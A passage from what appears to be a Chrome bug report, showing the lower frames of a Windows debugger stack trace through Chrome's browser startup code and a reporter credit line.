31 (Inline Function) --------`-------- chrome!content::RunBrowserProcessMain+0x97 [C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 701]
32 00000074`515fe970 00007ff8`ae4da638 chrome!content::ContentMainRunnerImpl::RunBrowser+0x7af [C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 1278]
33 00000074`515feb60 00007ff8`ae4d9892 chrome!content::ContentMainRunnerImpl::Run+0x268 [C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 1127]
34 (Inline Function) --------`-------- chrome!content::RunContentProcess+0x351 [C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc @ 356]
35 00000074`515fece0 00007ff8`ae4d8084 chrome!content::ContentMain+0x3c2 [C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc @ 369]
36 00000074`515fef20 00007ff7`72d81d07 chrome!ChromeMain+0x2a4 [C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_main.cc @ 224]
37 00000074`515ff1b0 00007ff7`72d8080b chrome_exe!MainDllLoader::Launch+0x407 [C:\b\s\w\ir\cache\builder\src\chrome\app\main_dll_loader_win.cc @ 201]
38 00000074`515ff440 00007ff7`72eaf6f2 chrome_exe!wWinMain+0x23b [C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_exe_main_win.cc @ 352]
39 (Inline Function) --------`-------- chrome_exe!invoke_main+0x21 [D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 118]
3a 00000074`515ff840 00007ff9`d632e8d7 chrome_exe!__scrt_common_main_seh+0x106 [D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288]
3b 00000074`515ff880 00007ff9`d6bdc34c KERNEL32!BaseThreadInitThunk+0x17
3c 00000074`515ff8b0 00000000`00000000 ntdll!RtlUserThreadStart+0x2c
CREDIT INFORMATION Reporter credit: Looben Yang
References
On This Page